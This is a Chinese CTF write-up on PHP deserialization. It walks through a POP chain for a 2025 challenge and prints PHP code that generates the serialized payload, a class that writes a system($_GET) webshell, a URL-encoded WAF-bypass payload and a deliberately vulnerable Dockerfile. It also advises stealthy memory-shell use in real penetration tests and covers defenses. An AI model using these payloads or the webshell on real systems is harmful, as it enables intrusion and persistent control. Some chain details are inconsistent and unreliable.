从POP链构造到内存马:CTF中的PHP反序列化漏洞实战解析
1. 反序列化漏洞的本质与危害
PHP反序列化漏洞是CTF比赛中Web方向的经典题型,也是真实环境中高危漏洞的典型代表。这种漏洞的根源在于unserialize()函数对用户输入缺乏严格校验,使得攻击者能够操控对象属性并触发非预期的魔术方法调用链。
在2025年"羊城杯"网络安全大赛的ez_unserialize题目中,出题人精心设计了一个包含6个类的PHP环境:
class A{ public $first; public $step; public $next; /*...*/ }
class E{ private $you; public $found; /*...*/ }
class F{ public $fifth; public $step; public $finalstep; /*...*/ }
class H{ public $who; public $are; public $you; /*...*/ }
class N{ public $congratulation; public $yougotit; /*...*/ }
class U{ public $almost; public $there; public $cmd; /*...*/ }
关键风险点在于这些类中定义的魔术方法:
__destruct():对象销毁时自动调用__toString():对象被当作字符串处理时调用__get():访问不可访问属性时调用__call():调用不可访问方法时触发__invoke():对象被当作函数调用时执行
攻击者通过精心构造的序列化数据,可以形成一条从__destruct()到system()函数调用的完整调用链(POP Chain)。这种攻击方式比传统SQL注入或文件包含更为隐蔽,往往能绕过常规WAF的检测。
2. POP攻击链的构造方法论
2.1 魔术方法触发链分析
以ez_unserialize题目为例,完整的攻击链如下:
H::__destruct → A::start → V::__toString → E::__get → F::check → U::__invoke → N::__call → system()
关键节点解析:
- 入口点选择:
H类的__destruct在反序列化完成后自动触发 - 链式传递:
$h->who->start()调用A类的start方法echo $this->next触发V类的__toString$this->go->$abc触发E类的__get$this->found->check()调用F类的check方法
- 最终执行:
new $this->finalstep()实例化U类($this->step)()触发U类的__invoke$this->there->system($this->cmd)触发N类的__call
2.2 漏洞利用代码生成
通过分析类之间的依赖关系,可以编写PHP代码动态生成攻击载荷:
$f = new F();
$f->finalstep = 'U'; // 指定最终实例化的类
$e = new E();
$e->found = $f; // 连接F类到E类的found属性
$v = new V();
$v->go = $e; // 连接E类到V类的go属性
$v->dowhat = "secret"; // 触发__get的属性名
$a = new A();
$a->next = $v; // 连接V类到A类的next属性
$h = new H();
$h->who = $a; // 连接A类到H类的who属性
echo serialize($h); // 输出最终payload
生成的序列化字符串结构如下:
O:1:"H":1:{s:3:"who";O:1:"A":1:{s:4:"next";O:1:"V":2:{s:2:"go";O:1:"E":1:{s:5:"found";O:1:"F":1:{s:9:"finalstep";s:1:"U";}}s:6:"dowhat";s:6:"secret";}}}
2.3 内存马注入技巧
传统反序列化漏洞利用往往需要多次请求,而在CTF比赛中更高级的解法是注入内存马实现持久化控制。通过修改POP链的最终节点,可以实现:
- WebShell写入:将恶意代码写入网站目录
- 反连Shell:建立反向连接通道
- 内存驻留:通过
register_shutdown_function维持执行
class Malicious {
public function __invoke() {
file_put_contents('shell.php', '<?php system($_GET["cmd"]);?>');
}
}
// 修改F类的finalstep为Malicious类名
3. 防御与绕过策略
3.1 常规防御措施
| 防御手段 | 实现方式 | 有效性 |
|---|---|---|
| 魔术方法禁用 | 重写__wakeup()检查来源 | 中等 |
| 签名校验 | 对序列化数据添加HMAC | 高 |
| 类型限制 | 只允许特定类反序列化 | 高 |
| 属性过滤 | 移除危险字符(如"R:") | 低 |
3.2 CTF中的绕过技巧
- 字符逃逸:利用
addslashes()的缺陷构造特殊序列 - 引用绕过:通过
R:引用处理对象循环 - 二次反序列化:利用
phar://协议触发 - 原生类利用:使用
SoapClient等内置类
WAF绕过示例:
// 原始payload
O:1:"H":1:{...}
// 编码后payload
O%3a1%3a%22H%22%3a1%3a%7bs%3a3%3a%22who%22%3bO%3a1%3a%22A%22%3a1%3a%7bs%3a4%3a%22next%22%3b...%7d%7d
4. 实战案例深度剖析
4.1 题目环境复现
搭建模拟环境时需要特别注意:
- PHP版本选择(建议5.6-7.4)
- 魔术方法兼容性(__serialize/__unserialize)
- 错误报告设置(error_reporting)
Docker配置示例:
FROM php:7.4-apache
RUN echo "<?php unserialize($_POST['payload']);?>" > /var/www/html/index.php
4.2 分步调试技巧
使用xdebug进行逐行调试:
php -dxdebug.mode=debug -dxdebug.start_with_request=yes exploit.php
关键断点设置:
- unserialize()入口
- 每个魔术方法的起始处
- 最终的危险函数调用前
4.3 多解法对比
| 解法类型 | 复杂度 | 隐蔽性 | 适用场景 |
|---|---|---|---|
| 直接RCE | 低 | 差 | 无防护环境 |
| 内存马 | 中 | 良 | 需要持久化 |
| 盲注利用 | 高 | 优 | 严格过滤环境 |
在真实渗透测试中,建议优先采用最隐蔽的内存马注入方式,配合流量加密避免检测。而对于CTF比赛,则需要根据题目限制选择最直接的解决方案。
5. 拓展思考与训练建议
5.1 进阶学习路径
-
PHP内核研究:
- zval结构体与引用计数
- 序列化/反序列化的底层实现
- GC(垃圾回收)机制
-
其他语言对比:
- Java反序列化(ysoserial)
- Python的pickle模块
- JavaScript的prototype污染
-
CTF真题训练:
- 0CTF 2019 Unserialize3
- HITCON 2018 WhySoSerious
- N1CTF 2021 EasyPHP
5.2 自动化工具开发
编写简单的POP链分析工具:
class POPAnalyzer:
def __init__(self, php_code):
self.classes = self._parse_classes(php_code)
def find_chains(self, sink):
# 实现反向DFS搜索
pass
def generate_payload(self, chain):
# 自动构造序列化数据
pass
5.3 防御编码实践
安全开发建议:
- 使用
json_encode()替代序列化 - 实现
__wakeup()方法校验对象完整性 - 采用白名单控制可反序列化的类
class SafeClass implements Serializable {
public function unserialize($data) {
$data = json_decode($data, true);
// 校验数据合法性
}
}
通过系统性地理解PHP反序列化漏洞的原理、利用方式和防御策略,安全研究人员可以更有效地发现和修复这类安全隐患,而CTF选手则能够快速解决相关赛题。这种漏洞的深入研究也为理解其他语言的类似问题提供了重要参考。

283

被折叠的 条评论
为什么被折叠?



